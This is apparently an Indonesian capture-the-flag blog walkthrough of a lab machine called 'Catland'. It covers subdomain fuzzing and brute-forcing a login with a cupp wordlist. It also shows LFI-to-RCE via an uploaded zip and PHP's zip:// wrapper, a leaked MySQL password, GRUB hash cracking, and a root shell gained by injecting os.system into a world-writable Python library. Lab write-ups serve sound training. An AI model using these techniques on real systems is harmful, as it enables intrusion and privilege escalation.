Home Machine 2
Post
Cancel

Machine 2

enumeration

Selanjutnya kita harus memeriksa port dan layanan apa yang tersedia pada target kita. Kita bisa melakukan ini dengan nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Host is up, received user-set (0.00044s latency).
Scanned at 2024-02-22 02:36:45 WIB for 6s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c7:10:14:a8:9a:f0:25:1e:0d:b1:c6:6f:1c:a1:88:d8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoON2vpFMtuogdkQMOJaJxlvYPnQoyZqhwksqYyE0q0zCdlL/CYNkehXOwfd64+p2DluB2DPw+81wfKecdbVFN8BvlA7wyKJcAblgJn40Peq4KbYpkEypAu5i7PMeKgXMylhuswIfl8G4UID1gGkwyQP+dcK/JJaU2aXsq+JoTyxZ5eS57qeaP2vSoJaCkGUjaKlvU/7FvTWsRPnNkgbMgxmVzWfgVyN5kn+vsKzh12gH1VPTxNb6gvd4NbIbkRoWBVSKXycP1RLX7AaFkjsns4WblFJ8m2y1pOvJdicSjjDxaUXJKmeMxZ6JMsL5G9DyLcYuxUVWG8TgYR7NVQNpGMVz/z4+AR4WL4V8yyhxiGLYHjqHiAkgg5HbEWy9ZIcmF4cqSfiXgzx0lxFqis3UNVoeyi4b1m/SY9EcDFlX+s+z7/G5B9yTpeXBuZbDvFm0zrfneF2opEST6VhMDfhSuChWksJoZFup3eF70HoJpk/0TsaKJTto8D/S3RXqWkn8=
|   256 1b:66:f4:e5:b6:23:6e:77:8e:9e:c1:78:c5:bc:ac:e9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUNT0XJ8XtE1ajDnA0T62Gu369MNtsyQjs7OB7KdpK14BRfjkKwqGzhjQLaiIXs+ByWMdShGr0mteylUbNFIco=
|   256 f4:e9:d8:7a:08:15:d0:92:90:14:df:b3:ec:81:a1:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmo5l+T566Tyh5IlXAf80WpmJSi98ggYbHOkzGI8u3l
80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))
|_http-title: Catland
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ketika nmap selesai memindai kita dapat melihat beberapa port menarik terbuka pada target kita. Mari tambahkan beberapa informasi ke catatan kita.

  • port 22 : ssh
  • port 80 : http

dua layanan terbuka: SSH (port 22) dan HTTP (port 80). SSH berjalan pada OpenSSH 8.4p1 Debian 5+deb11u1 dengan tiga jenis kunci yang digunakan (RSA, ECDSA, ED25519). Layanan HTTP diidentifikasi sebagai Apache 2.4.54 di Debian, dengan situs web bernama “Catland”.

Initial Access

Saya sudah memiliki port terbuka, dimana port tersebut default configuration biasa, hanya terdapat 2 port servcie http dan ssh. Setelah saya mengetahui informasi yang diketahui, selanjutnya saya melakukan bruteforce directory(fuzzing). Di server utama, kami memiliki beberapa teks dan link untuk menuju ke galeri gambar kucing. Selain itu, kami juga melihat kemungkinan nama pengguna laura di salah satu gambar. Selain ini, tidak ada petunjuk. Setelah itu, saya melakukan pemindaian direktori dan parameter kueri fuzzing untuk menemukan eksekusi perintah jarak jauh atau penyertaan file. Namun, saya tidak mendapatkan apa pun. Jadi, saya melakukan enumerasi subdomain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://catland.hmv
 :: Wordlist         : FUZZ: /Users/apple/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.$ip
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 757
________________________________________________

admin                   [Status: 200, Size: 1068, Words: 103, Lines: 24, Duration: 1070ms]

Di sini, saya memiliki subdomain admin. Saat kita membuka situs admin, kita diarahkan ke situs utama. Hal ini karena skrip javascript redirect.js. Jadi, kita harus memblokir permintaan file javascript dari alat pengembang browser. Selain itu, agar ini berfungsi, alat harus selalu terbuka.

Dua elemen

 curl -i http://admin.$ip/redirect.js
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2024 20:05:39 GMT
Server: Apache/2.4.54 (Debian)
Last-Modified: Thu, 06 Jan 2022 23:00:00 GMT
ETag: "54-5d4f1d471fc00"
Accept-Ranges: bytes
Content-Length: 84
Vary: Accept-Encoding
Content-Type: application/javascript

function redirectToSubdomain() {
  window.location.replace('http://$ip');
}

Untuk bypass nya kita bisa menggunakan burpSuite.

Langkah-langkahnya sederhana:

➡️➡️➡️ Kami membuka BurpSuite.

➡️➡️➡️ Kita masuk ke browser dan mengaktifkan proxy agar dapat berkomunikasi dengan Burp , baik dengan konfigurasi browser itu sendiri atau dengan bantuan (misalnya) ekstensi FoxyProxy .

➡️➡️➡️ Kita kembali ke Burp , masuk ke Proxy > Options > Match and replace .

➡️➡️➡️ kami menambahkan aturan sehingga ketika permintaan dibuat dan respons ditemukan, redirectToSubdomainmaka diganti dengan kosong:

Masuk ke situs

Bagaimanapun, kami melihat layar login di situs. Juga, kami mendapatkan nama pengguna sebagai laura. Oleh karena itu, saya mencoba melakukan bruteforcing menggunakan hydra namun gagal :D

Disini saya kami menggunakan tools cupp : https://github.com/Mebus/cupp Bentuk otentikasi yang paling umum adalah kombinasi nama pengguna dan kata sandi atau frasa sandi. Jika kedua nilai cocok disimpan dalam tabel yang disimpan secara lokal, pengguna diautentikasi untuk koneksi. Kekuatan kata sandi adalah ukuran kesulitan dalam menebak atau memecahkan kata sandi melalui teknik kriptografi atau pengujian otomatis nilai alternatif berbasis perpustakaan. Kata sandi yang lemah mungkin sangat pendek atau hanya menggunakan karakter alfanumerik, sehingga membuat dekripsi menjadi sederhana. Kata sandi yang lemah juga bisa menjadi kata sandi yang mudah ditebak oleh seseorang yang membuat profil pengguna, misalnya tanggal lahir, nama panggilan, alamat, nama hewan peliharaan atau saudara, atau kata umum seperti Tuhan, cinta, uang, atau kata sandi.

image

Look, And Greet ngab!!!

Selanjutnya kami exploitasi fitur” yang ada, dan kami menempukan endpoint upload??!! yah, ini file Upload Attack.

image

ooww, eumm:”)

Di dalamnya kita melihat dua hal menarik:

💠 Ada file /upload.php yang memungkinkan Anda mengunggah file, tetapi tidak jenis apa pun, hanya .rar atau .zip.

Ini membuat penasaran dan mendapat kekuatan dari hal-hal berikut yang kami temukan…

💠 Saat memilih halaman /user.php dan mengklik Buka, kita melihat bahwa URL- nya berubah:

image

Hal ini membuat saya mengerti bahwa ia sedang mencari halaman ( ?page=) bernama card ( card, mungkin secara logika itu adalah file yang card.txtatau card.htmldan yang merupakan rangkaian string) untuk menampilkan kontennya di web.

SOEEEEEEEEEEEE, kita dapat mencoba beberapa hal, mungkin tidak dibersihkan dengan baik dan kita dapat melihat objek sistem ( Path Traversal) atau mungkin lebih buruk lagi, membuatnya berjalan ( LFI).

Hal berikutnya adalah melihat konten file tersebut .phptanpa ditafsirkan, tetapi ada sesuatu yang lebih menyenangkan untuk dicoba:

LFI2RCE menggunakan zip:// dan rar:// wrapper. : https://book.hacktricks.xyz/pentesting-web/file-inclusion#zip-and-rar

di PHP hanyalah cara untuk menambahkan fungsionalitas untuk berinteraksi dengan sumber daya. Misalnya untuk bermain dengan file lokal (yang kita gunakan) atau file jarak jauh, ada wrapper, untuk permintaan web HTTP(S) juga dan untuk hal-hal lain.

Pengoperasiannya sangat sederhana:

Kami membuat objek .phpdengan konten berbahaya. Kami membuat objek .zip(atau .rar, saya akan melakukannya dengan zip ) yang berisi .php. Kami mencari cara untuk mengunggah file. Kami menemukan di mana file dihosting. Dengan menggunakan LFI kita membaca objek .php yang ada di dalamnya .zip, dengan ini yang kita lakukan adalah mengeksekusi isinya.

Kami membuat .zip:

zip ehe.zip sui.php

🕒 Kita sudah punya cara untuk mengupload file, jadi ayo kita /upload.php upload file .zip.

🕓 Kami juga memiliki rute tempat objek yang diunggah dihosting: /uploads/.

🕔 KAMI EKSEKUSI RCE dengan bantuan wrapper dan LFI:

image

Huft:D

Terdapat configurasi mysql, dan disini kita perlu dump database yang ada!!!

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$hostname = "localhost";
$database = "catland";
$username = "admin";
$password = "catlandpassword123";
$conn = mysqli_connect($hostname, $username, $password, $database);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

?>

Mari kita login mysql :

image

Hmmm, apakah ada tabel yang memiliki satu komentar dan mengatakan “ubah kata sandi grub”? Jadi tanpa basa-basi dia mengatakannya…

Kita mungkin pernah mendengar istilah GRUB (dan bukan, itu bukan pengguna :P):

1
Seperti yang dikatakan Nullet kepada kita dalam tanggapannya terhadap thread stackoverflow , GRUB(GNU GRand Unified Bootloader) adalah perangkat lunak yang bertanggung jawab untuk memuat sistem operasi (atau sistem operasi) komputer.

Nah, kita sudah punya ide, sekarang kita perlu tahu cara mengubah kata sandi GRUB , pencarian kita berakhir di sini :

1
Cara Mereset Kata Sandi GRUB di Linux .

Dan dia memberi tahu kita:

1
“File konfigurasi utama GRUB adalah grub.cfg”

Dan ya, kami menemukan file itu di sistem:

1
/boot/grub/grub.cfg

image

Ada kredensial (nama pengguna rootdan kata sandi yang di-hash dengan algoritma pbkdf2 ) yang diperlukan untuk masuk ke antarmuka GRUB :O

Mengikuti panduan modifikasi kata sandi, ada bagian di mana kita perlu menulis file di bagian yang tidak kita miliki izinnya, jadi satu-satunya hal yang perlu divalidasi adalah:

Bagaimana jika kata sandi itu sangat sederhana dan dengan mencoba memecahkan hash kita mencapai sesuatu? Mari kita jelaskan…

1
Kami mengambil hash dari grub.pbkdf2.sha...akhir string ...BBCdan menyimpannya ke file, saya akan menyebutnya hash_grub_pbkdf2.txt. Berikut ini adalah dengan hashcatatau dengan John The Rippermencoba memecahkan hash itu dengan kekerasan dan dengan demikian mendapatkan kata sandi yang tidak terenkripsi, saya akan menggunakan john(saya akan memberikan Anda daftar kata yang sangat terkenal di dunia):

image

Privillage Escalation

Memvalidasi izin apa yang kami miliki pada sistem seperti pengguna lain, kami melihat biner yang dapat kami jalankan sebagai pengguna mana pun:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'rtv==1.27.0','console_scripts','rtv'
import re
import sys

# for compatibility with easy_install; see #2198
__requires__ = 'rtv==1.27.0'

try:
    from importlib.metadata import distribution
except ImportError:
    try:
        from importlib_metadata import distribution
    except ImportError:
        from pkg_resources import load_entry_point


def importlib_load_entry_point(spec, group, name):
    dist_name, _, _ = spec.partition('==')
    matches = (
        entry_point
        for entry_point in distribution(dist_name).entry_points
        if entry_point.group == group and entry_point.name == name
    )
    return next(matches).load()


globals().setdefault('load_entry_point', importlib_load_entry_point)


if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
    sys.exit(load_entry_point('rtv==1.27.0', 'console_scripts', 'rtv')())

Dan di sini kami tinggal di lubang kelinci yang bagus yang dengannya kami berinteraksi dengan entry_points (yang singkatnya memungkinkan untuk membuat panggilan ke fungsi atau skrip PY dari konsol / terminal perintah) dan kami bahkan mengelola dari lingkungan laura untuk membuat skrip / usr / bin / rtv mengambil (jika Anda melihat baris terakhir memanggil 3 titik masuk) titik masuk rtv dan mengeksekusinya, untuk ini kami membuat PATH HIJACKING di mana rtv (rtv. py) akan menjadi objek dengan konten berbahaya, ketika mengeksekusi /usr/bin/rtv itu akan mencari titik masuk rtv dan mengeksekusi malicious-nya, begitulah yang terjadi dan semuanya baik-baik saja, tetapi mencoba dengan sudo /usr/bin/rtv kami tidak mencapai apa-apa, jadi kami harus mengubah pendekatan kami.

Itu mengimpor dari file importlib/metadata.py. Selain itu, ia memiliki izin untuk menulis.

1
2
laura@catland:~$ ls -l /lib/python3.9/importlib/metadata.py 
-rw-r--rw- 1 root root 18237 Jan 13 17:06 /lib/python3.9/importlib/metadata.py

Mari tambahkan baris kode berikut untuk memunculkan bash.

1
os.system('/bin/bash -i')

Summary Skill Issue :D

1
2
3
Berkeliling kita akhirnya menemukan sesuatu yang jelas (tetapi juga sedikit terbukti):

Dalam skrip ada beberapa panggilan ke perpustakaan dan instruksi sebelum mencapai bagian tersebut entry pointsdan memuat apa yang akan menjadi --help, misalnya kita melihat bahwa ia memanggil perpustakaan importlib, dari sana ia memasuki skrip metadatadan menggunakan fungsi darinya distribution, ini mungkin tidak relevan, tapi tentu saja jika kita tidak punya tempat lain untuk mencari dan mencoba, maka mari kita cari perpustakaan itu dan skripnya, kita mungkin bisa berinteraksi atau melihat sesuatu yang menarik di dalamnya:

Objek ini metadata.py memungkinkan setiap pengguna sistem untuk mengubah kontennya 😯

Jadi kami juga dapat menemukan semua file yang akses tulisnya dimiliki oleh pengguna kami : find / -writable -type f 2>/dev/null | grep -vE "proc".

Tidak, baiklah, mari kita buka file tersebut, cari fungsinya distributiondan masukkan perintah di dalamnya yang, ketika dijalankan, akan mengembalikan /bin/bash:

1
2
3
4
def distribution(distribution_name):
    os.system('/bin/bash')

    """Get the ``Distribution`` instance for the named package.

Ini memberi kita shell root.

image

Reference ;

https://book.hacktricks.xyz/pentesting-web/file-inclusion#zip-and-rar https://github.com/michael-lazar/rtv https://vk9-sec.com/privilege-escalation-linux-path-hijacking/

This post is licensed under CC BY 4.0 by the author.
Trending Tags